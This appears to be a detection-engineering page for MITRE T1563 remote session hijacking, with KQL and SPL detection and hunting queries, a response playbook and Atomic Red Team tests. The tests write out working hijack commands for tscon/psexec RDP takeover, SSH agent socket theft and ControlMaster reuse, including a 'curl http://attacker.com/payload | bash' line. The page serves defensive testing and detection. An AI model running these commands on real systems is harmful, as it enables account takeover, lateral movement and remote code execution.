Remote Service Session Hijacking
This detection identifies adversaries commandeering existing remote service sessions to move laterally without creating new authenticated connections. Key indicators include use of tscon.exe to hijack disconnected RDP sessions (often from SYSTEM context), SSH agent socket manipulation via SSH_AUTH_SOCK environment variable abuse, SSH ControlMaster/ControlPath multiplexing attacks, and suspicious processes accessing other users' TTY devices or SSH agent sockets in /tmp. Unlike standard remote service use, session hijacking leaves minimal authentication artifacts because no new credential exchange occurs — making it a high-fidelity signal when detected.
What is T1563 Remote Service Session Hijacking?
Remote Service Session Hijacking (T1563) maps to the Lateral Movement tactic — the adversary is trying to move through your environment in MITRE ATT&CK.
This page provides production-ready detection logic for Remote Service Session Hijacking, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Lateral Movement
- Technique
- T1563 Remote Service Session Hijacking
- Canonical reference
- https://attack.mitre.org/techniques/T1563/
let RDPHijack = DeviceProcessEvents
| where FileName =~ "tscon.exe"
or (FileName in~ ("cmd.exe", "powershell.exe") and ProcessCommandLine has "tscon")
| extend HijackType = "RDP_tscon"
| extend RiskDetail = strcat("tscon invoked by: ", InitiatingProcessFileName, " as ", AccountName);
let SSHAgentHijack = DeviceProcessEvents
| where ProcessCommandLine has_any ("SSH_AUTH_SOCK", "/tmp/ssh-", "ssh-agent")
and ProcessCommandLine has_any ("export", "env", "printenv", "cat /proc")
and not (FileName in~ ("sshd", "ssh-agent"))
| extend HijackType = "SSH_Agent_Hijack"
| extend RiskDetail = strcat("SSH_AUTH_SOCK access by non-ssh process: ", FileName);
let SSHControlMaster = DeviceProcessEvents
| where FileName =~ "ssh"
and ProcessCommandLine has_any ("ControlMaster", "ControlPath", "-o ControlMaster", "-S /tmp")
and not (InitiatingProcessFileName in~ ("sshd", "ansible", "fabric"))
| extend HijackType = "SSH_ControlMaster_Abuse"
| extend RiskDetail = strcat("SSH multiplexing hijack attempt from: ", InitiatingProcessFileName);
let TTYHijack = DeviceProcessEvents
| where ProcessCommandLine has_any ("/proc/", "/dev/pts/", "reptyr", "injcode")
and ProcessCommandLine matches regex @"/proc/\d+/fd"
| extend HijackType = "TTY_Hijack"
| extend RiskDetail = "Process fd hijack targeting remote session TTY";
union RDPHijack, SSHAgentHijack, SSHControlMaster, TTYHijack
| project
TimeGenerated,
DeviceName,
AccountName,
HijackType,
RiskDetail,
FileName,
ProcessCommandLine,
InitiatingProcessFileName,
InitiatingProcessCommandLine,
InitiatingProcessAccountName,
FolderPath
| order by TimeGenerated desc Detects four patterns of remote service session hijacking: (1) tscon.exe used to redirect RDP sessions, often from SYSTEM context to hijack disconnected sessions without credentials; (2) non-SSH processes accessing SSH_AUTH_SOCK for agent forwarding abuse; (3) SSH ControlMaster/ControlPath multiplexing abuse to piggyback on existing authenticated connections; (4) /proc/pid/fd TTY descriptor hijacking targeting active terminal sessions.
Data Sources
Required Tables
False Positives
- Legitimate IT administrators using tscon.exe for authorized session management or helpdesk reconnection workflows
- Ansible, Fabric, or other automation tools that legitimately use SSH ControlMaster for connection multiplexing to improve performance
- SSH agent forwarding used by developers or DevOps engineers for legitimate key forwarding across jump hosts
Sigma rule & cross-platform mapping
The detection logic for Remote Service Session Hijacking (T1563) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1563
References (5)
- https://attack.mitre.org/techniques/T1563/
- https://attack.mitre.org/techniques/T1563/001/
- https://attack.mitre.org/techniques/T1563/002/
- https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remote-mstsc-sessions-transparently-2d941099b086
- https://doublepulsar.com/rdp-hijacking-how-to-hijack-rds-and-remote-mstsc-sessions-transparently-2d941099b086
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1RDP Session Hijacking via tscon.exe from SYSTEM context
Expected signal: Sysmon Event ID 1 for tscon.exe with parent process chain including psexec/sc.exe. Windows Security Event 4778 (session reconnected) immediately after. Security Event 4688 for tscon.exe with SYSTEM account. Query.exe or qwinsta.exe execution preceding tscon.exe within minutes.
- Test 2SSH Agent Socket Hijacking
Expected signal: Auditd records showing open() syscall on /tmp/ssh-*/agent.* socket by a process not owned by the socket's owner. /var/log/auth.log entries showing SSH connection authenticated via agent forwarding with unexpected source process context. Linux Sysmon (if deployed) Event ID 1 for ssh process with SSH_AUTH_SOCK in environment.
- Test 3SSH ControlMaster Multiplexing Session Hijack
Expected signal: Sysmon (Linux) Event ID 1 for ssh process with -S flag and ControlMaster=no in command line. Process events showing ssh invoked with control socket path. Auth.log showing multiple SSH authentications to same host with same session multiplexed. Network events showing SSH connections reusing existing TCP connection.
Response Playbook
Triage
- Step 1 (RDP): Run 'query session /server:<hostname>' to enumerate active and disconnected RDP sessions. Correlate tscon.exe execution time with session state changes in Windows Event ID 4778 (session reconnected) and 4779 (session disconnected).
- Step 2 (RDP): Verify whether tscon.exe was invoked from SYSTEM context (service, scheduled task) or an interactive user account. SYSTEM-context invocations without a corresponding legitimate service are high-fidelity indicators — check parent process chain for cmd.exe, powershell.exe, or exploitation frameworks.
- Step 3 (SSH): Identify which Unix sockets in /tmp/ssh-* the suspicious process accessed. Use 'lsof -U' output from EDR telemetry or audit logs to see what processes had the SSH_AUTH_SOCK file descriptor open. Cross-reference with /var/log/auth.log or /var/log/secure for SSH session establishment events around the same timeframe.
- Step 4: Check if the account that launched the hijacking process legitimately owned the target session by reviewing authentication logs (Event ID 4624/4648 on Windows, sshd logs on Linux) for the session that was hijacked.
- Step 5: Review network connections from the hijacked session host outbound after the hijack event. Look for lateral movement to internal hosts, access to sensitive file shares, or new processes spawned under the hijacked session context.
- Step 6: Correlate with privilege escalation indicators — tscon hijacking typically requires SYSTEM or administrative privileges. Investigate how the attacker gained the required privilege level (check for Event IDs 4672, 4673, 4674 around the same timeframe).
Containment
- Immediately terminate the hijacked session using 'logoff <session_id> /server:<hostname>' (RDP) or 'kill -9 <pid>' for the hijacking SSH process to cut off lateral movement in progress.
- Revoke active SSH agent forwarded keys by identifying all forwarded-key SSH sessions ('ssh-add -l' from compromised host context) and killing those agent sockets. Consider rotating affected SSH private keys if agent forwarding was exploited.
- Isolate the source host from which the hijacking originated at the network layer. Block all outbound RDP (TCP 3389) and SSH (TCP 22) from the source host via firewall rule until investigation is complete.
- If SYSTEM-level RDP hijacking is confirmed, place the target host in network isolation via EDR console to prevent further lateral movement while preserving volatile memory for forensics.
- Disable the compromised account that owned the original session pending investigation. If the account is a service account, rotate its credentials immediately and audit all systems where those credentials are used.
Evidence Collection
- Windows (RDP): Export Security Event Log entries 4778 (RDP session reconnect) and 4779 (disconnect), correlate with tscon.exe process creation events. Collect prefetch file for tscon.exe at C:\Windows\Prefetch\TSCON.EXE-*.pf to establish execution history.
- Windows: Collect full process creation chain for tscon.exe including parent and grandparent process — use 'Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4688}' filtered around incident timeframe.
- Linux (SSH): Collect /var/log/auth.log or /var/log/secure for all SSH session events. Export auditd logs: 'ausearch -f /tmp/ssh- --start <time>' to identify what processes accessed SSH agent sockets.
- Linux: Capture contents of /proc/<pid>/environ for the hijacking process to identify inherited environment variables including SSH_AUTH_SOCK value. Use 'strings /proc/<pid>/environ' if process is still running.
- Memory acquisition: If attacker used in-memory SSH agent hijacking without touching disk, acquire a memory image of the compromised host using tools like LiME (Linux) or WinPmem (Windows) before any reboot.
- Network: Export PCAP or NetFlow data covering all connections from the hijacked session source/destination during the attack window. Look for SMB, WinRM, or additional SSH connections emanating from the compromised session.
Escalation Criteria
- ! Escalate immediately if the hijacked session belongs to a privileged account (Domain Admin, root, service account with broad access) — the blast radius is significantly higher.
- ! Escalate if post-hijack network telemetry shows connections to additional internal hosts, indicating active lateral movement chain rather than isolated incident.
- ! Escalate if the source of the hijack was a jump server, bastion host, or privileged access workstation — these systems are trusted to access sensitive infrastructure and compromise warrants incident response engagement.
- ! Escalate if SSH agent hijacking is confirmed and the compromised agent had keys to production systems, cloud infrastructure (AWS/GCP/Azure), or code signing infrastructure.
- ! Escalate if the technique was combined with credential dumping (T1003) or discovery commands — multi-technique attack chains indicate a targeted intrusion, not opportunistic exploitation.
Investigation Guide
Forensic Artifacts
- >
Windows Event Log: ID 4778 (A session was reconnected to a Window Station) and 4779 (disconnected) in Security log - >
Windows Event Log: ID 4688 (process creation) for tscon.exe with command-line arguments showing target session ID - >
Prefetch file: C:\Windows\Prefetch\TSCON.EXE-*.pf with execution timestamps - >
Windows Terminal Services logs: C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-*.evtx - >
Linux: /var/log/auth.log or /var/log/secure entries showing sshd session reuse - >
Linux: Auditd syscall records for open() calls on /tmp/ssh-*/agent.* socket files - >
Linux: /proc/<pid>/environ showing SSH_AUTH_SOCK variable inheritance by malicious process - >
Linux: bash_history or .zsh_history on compromised host showing SSH_AUTH_SOCK export commands - >
SSH known_hosts: ~/.ssh/known_hosts on attacker-controlled host may show newly added target fingerprints after hijacking
Tuning Guidance
Start by baselining all legitimate tscon.exe usage in your environment — IT helpdesk reconnection workflows and certain remote management tools invoke it regularly. Whitelist by parent process (e.g., specific helpdesk application paths) rather than by user account, since attackers impersonate legitimate accounts. For SSH agent hunting, create exceptions for known automation accounts (ansible service accounts, CI/CD runners) that legitimately use ControlMaster. The SSH_AUTH_SOCK hunt generates high volume in developer environments — consider scoping to production server hosts only initially. For the ControlMaster query, tuning based on destination IP ranges (known internal jump hosts) can reduce noise from legitimate DevOps workflows.
Hunting Queries
Hunts for the classic RDP hijacking workflow where an attacker first enumerates sessions with query.exe/qwinsta.exe, then within 10 minutes uses tscon.exe to hijack a target session — the sequential pattern distinguishes malicious use from administrative reconnection.
// Hunt for RDP session hijacking via query session + tscon pattern (common attacker workflow)
let QuerySessionRuns = DeviceProcessEvents
| where FileName in~ ("query.exe", "qwinsta.exe")
| where ProcessCommandLine has_any ("session", "user", "/server")
| project DeviceName, AccountName, QueryTime = TimeGenerated, QueryCmd = ProcessCommandLine;
let TsconRuns = DeviceProcessEvents
| where FileName =~ "tscon.exe"
| project DeviceName, AccountName, TsconTime = TimeGenerated, TsconCmd = ProcessCommandLine;
QuerySessionRuns
| join kind=inner TsconRuns on DeviceName
| where TsconTime between (QueryTime .. QueryTime + 10m)
| project DeviceName, AccountName, QueryTime, TsconTime, QueryCmd, TsconCmd
| extend TimeDeltaSeconds = datetime_diff('second', TsconTime, QueryTime)
| order by QueryTime desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| where match(Image, "(?i)(query|qwinsta)\.exe") AND match(CommandLine, "(?i)session")
| eval query_time=_time, query_host=Computer, query_user=User
| append [search index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*tscon.exe"]
| stats values(Image) as images, values(CommandLine) as cmds, values(_time) as times by Computer
| where mvcount(images) > 1
| eval has_query=if(mvfind(images, "query|qwinsta")>=0, 1, 0), has_tscon=if(mvfind(images, "tscon")>=0, 1, 0)
| where has_query=1 AND has_tscon=1
| table Computer, images, cmds, times Identifies non-SSH processes that reference or inherit SSH_AUTH_SOCK environment variable, which may indicate SSH agent hijacking where an attacker's process borrows an existing authenticated SSH agent to make connections as another user.
// Hunt for processes inheriting SSH_AUTH_SOCK that are not SSH tools
DeviceProcessEvents
| where InitiatingProcessFileName !in~ ("sshd", "ssh", "ssh-agent", "git", "ansible", "terraform")
| where ProcessCommandLine has "SSH_AUTH_SOCK"
or (FolderPath has "/tmp/ssh-" and FileName !in~ ("ssh", "scp", "sftp", "git", "rsync"))
| where AccountName !in~ ("root", "SYSTEM") // Adjust for your environment's admin accounts
| project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, FolderPath
| order by TimeGenerated desc index=* sourcetype="linux_secure" OR sourcetype="syslog"
| rex field=_raw "SSH_AUTH_SOCK=(?<auth_sock_path>[^\s;]+)"
| where isnotnull(auth_sock_path)
| search NOT (process="ssh" OR process="sshd" OR process="ssh-agent" OR process="git" OR process="ansible")
| eval suspicious=if(match(auth_sock_path, "/tmp/ssh-"), 1, 0)
| where suspicious=1
| table _time, host, user, process, auth_sock_path, _raw
| sort - _time Focuses specifically on tscon.exe invocations from anomalous parent processes — legitimate RDP reconnection typically comes from services.exe or explorer.exe, while attacker-controlled invocations often originate from cmd.exe, PowerShell, or living-off-the-land binaries, often running as SYSTEM after privilege escalation.
// Hunt for tscon.exe running from unusual parent processes (not services.exe, consent.exe, explorer.exe)
DeviceProcessEvents
| where FileName =~ "tscon.exe"
| where InitiatingProcessFileName !in~ ("services.exe", "consent.exe", "explorer.exe", "mstsc.exe", "svchost.exe")
| extend SuspicionScore = case(
InitiatingProcessAccountName =~ "SYSTEM" and InitiatingProcessFileName has_any ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe"), 90,
InitiatingProcessFileName has_any ("cmd.exe", "powershell.exe"), 70,
InitiatingProcessFileName has_any ("mshta.exe", "wmic.exe", "regsvr32.exe", "rundll32.exe"), 95,
true(), 50)
| project TimeGenerated, DeviceName, AccountName, SuspicionScore, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| order by SuspicionScore desc, TimeGenerated desc index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\tscon.exe"
| eval parent=ParentImage
| eval is_unusual_parent=if(match(parent, "(?i)(cmd|powershell|wscript|cscript|mshta|wmic|rundll32|regsvr32)\.exe"), 1, 0)
| eval is_system=if(match(User, "(?i)SYSTEM"), 1, 0)
| eval risk=case(is_unusual_parent=1 AND is_system=1, "CRITICAL", is_unusual_parent=1, "HIGH", true(), "MEDIUM")
| table _time, Computer, User, Image, CommandLine, ParentImage, ParentCommandLine, risk, is_unusual_parent, is_system
| sort - risk, _time Atomic Red Team Tests
Simulates RDP session hijacking by enumerating active sessions then using tscon.exe to redirect a disconnected session. Requires a disconnected RDP session to exist on the target host and local admin or SYSTEM privileges.
Command
query session
REM Identify a disconnected session ID from the output above, then:
psexec.exe -s cmd.exe
REM From the SYSTEM cmd prompt:
tscon <session_id> /dest:console
REM Alternative without psexec using sc.exe to create a SYSTEM-context service:
sc create rdphijack binpath= "cmd.exe /c tscon <session_id> /dest:console" start= demand
sc start rdphijack Cleanup
sc stop rdphijack
sc delete rdphijack
logoff <session_id> Expected Telemetry
Sysmon Event ID 1 for tscon.exe with parent process chain including psexec/sc.exe. Windows Security Event 4778 (session reconnected) immediately after. Security Event 4688 for tscon.exe with SYSTEM account. Query.exe or qwinsta.exe execution preceding tscon.exe within minutes.
Expected Detection
RDP_Session_Hijack_tscon alert with CRITICAL risk score due to SYSTEM context invocation. The sequential query session + tscon hunting query should also fire showing the recon-then-hijack pattern.
Simulates SSH agent hijacking by finding and borrowing an active SSH agent socket belonging to another logged-in user. Requires two concurrent SSH sessions and root or the ability to access another user's /tmp directory.
Command
# As attacker (root or with access to victim's process env):
# Find victim's SSH agent socket:
ls /tmp/ssh-*/
# Or from victim's process:
cat /proc/$(pgrep -u victim_user sshd | head -1)/environ | tr '\0' '\n' | grep SSH_AUTH_SOCK
# Set the socket in attacker's environment:
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXXX/agent.NNNN
# List keys available in hijacked agent:
ssh-add -l
# Use hijacked agent to connect to a remote host:
ssh -o 'StrictHostKeyChecking=no' user@remote_host 'id; hostname' Cleanup
unset SSH_AUTH_SOCK
# Kill any SSH connections established via the hijacked agent Expected Telemetry
Auditd records showing open() syscall on /tmp/ssh-*/agent.* socket by a process not owned by the socket's owner. /var/log/auth.log entries showing SSH connection authenticated via agent forwarding with unexpected source process context. Linux Sysmon (if deployed) Event ID 1 for ssh process with SSH_AUTH_SOCK in environment.
Expected Detection
SSH_Agent_Socket_Access alert. The SSH agent hunting query should identify the non-SSH process accessing the agent socket. If auditd file watches are configured on /tmp/ssh-*, separate audit alerts will fire.
Demonstrates SSH ControlMaster abuse where an attacker creates a persistent master connection then uses ControlPath to inject commands into it, or hijacks an existing ControlMaster socket to create new sessions without re-authenticating.
Command
# Step 1: Establish a ControlMaster connection (simulates victim's legitimate session)
ssh -M -S /tmp/ssh_control_%r@%h:%p -o ControlPersist=10m user@target_host 'sleep 600' &
# Step 2: As attacker who gains access to the /tmp socket:
# Check for existing control sockets:
ls -la /tmp/ssh_control_*
# Connect using hijacked control socket (no authentication required):
ssh -S /tmp/ssh_control_user@target_host:22 -o ControlMaster=no user@target_host 'id; whoami; cat /etc/passwd'
# Step 3: Use the hijacked session for lateral movement:
ssh -S /tmp/ssh_control_user@target_host:22 user@target_host 'curl http://attacker.com/payload | bash' Cleanup
ssh -S /tmp/ssh_control_user@target_host:22 -O exit user@target_host
rm -f /tmp/ssh_control_* Expected Telemetry
Sysmon (Linux) Event ID 1 for ssh process with -S flag and ControlMaster=no in command line. Process events showing ssh invoked with control socket path. Auth.log showing multiple SSH authentications to same host with same session multiplexed. Network events showing SSH connections reusing existing TCP connection.
Expected Detection
SSH_ControlMaster_Hijack alert from both KQL and SPL queries. The SSH agent socket hunting query may also fire if the ControlMaster socket path contains SSH-related strings in /tmp.